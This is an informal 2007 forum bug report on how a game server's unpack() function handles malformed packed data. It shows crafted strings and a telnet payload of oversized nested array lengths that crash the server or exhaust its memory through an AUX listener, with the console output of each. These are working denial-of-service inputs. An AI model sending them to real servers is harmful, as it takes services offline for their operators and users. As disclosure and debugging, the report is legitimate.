Unpack bugs (memory allocation problems)
Posted: Thu Sep 20, 2007 3:37 am
Seems it incorrectly handles many "corner cases". Some of them cause thread exceptions which include bad allocations and excessive memory usage peaks. If you have AUX listener enabled, you are open to DOS attacks (btw, why on earth AUX uses packed format, not raw text data?).
But hey, why stop on strings? Let's mess with arrays!
I've created a basic AUX listener that just printed out on the console everything it received:
Then I connected with raw telnet application (PuTTY) and send the following:
Results?
Memory usage went up to 1.7GB and stood there. No subsequent AUX connections were accepted, no console commands either: no scripts were able to load. That effectively means the server is dead:
Fun, eh? 
Code: Select all
packed := "S-1"; print(packed + " -> " + unpack(packed));S-1 -> error{ errortext = "Unable to unpack string length" }
Exception in: scripts/console/about.ecl in: : basic_string
Code: Select all
packed := "S-1:"; print(packed + " -> " + unpack(packed));On a system with 2GB of ram, POL uses ~100MB, I ran this:Exception in: scripts/console/about.ecl in: : basic_string
Code: Select all
packed := "S1000000000:"; print(packed + " -> " + unpack(packed));Server froze for a while, mem usage peaked to 1GB, finally an exception was thrown ant it returned to normal.Exception in: scripts/console/about.ecl in: : bad allocation
But hey, why stop on strings? Let's mess with arrays!
I've created a basic AUX listener that just printed out on the console everything it received:
Code: Select all
use basic;
use os;
program aux(conn)
var event;
SysLog("[AUX] connection initiated: "+conn);
while (conn)
event := wait_for_event(5);
if (!event)
continue;
endif
event := event.value;
if (event == error)
SysLog("[AUX] bad data: "+event.errortext);
continue;
endif
print(event);
endwhile
SysLog("[AUX] connection closed: "+conn);
endprogramCode: Select all
Hello world!
sHello world!
S12:Hello world!
S-1:
a100000000:a1000000:a10000000:Code: Select all
Starting Aux Listener (:auxremote:aux_remote, port 5557)
syslog [pkg/auxsvc/aux_remote.ecl]: [AUX] connection initiated: <AuxConnection>
syslog [pkg/auxsvc/aux_remote.ecl]: [AUX] bad data: Unknown object type 'H'
Hello world!
Hello world!
Thread exception: basic_string
syslog [pkg/auxsvc/aux_remote.ecl]: [AUX] connection initiated: <AuxConnection>
Thread exception: bad allocation
Commands:
a: Test
S: Lock/Unlock console
?: Help (This list)
Console is now unlocked.
Command aborted due to: bad allocation
Command aborted due to: bad allocation
Thread exception: bad allocation
Thread exception: bad allocationCode: Select all
scin: 0 scsl: 0 MOB: 0 TLI: 0
scin: 0 scsl: 0 MOB: 0 TLI: 0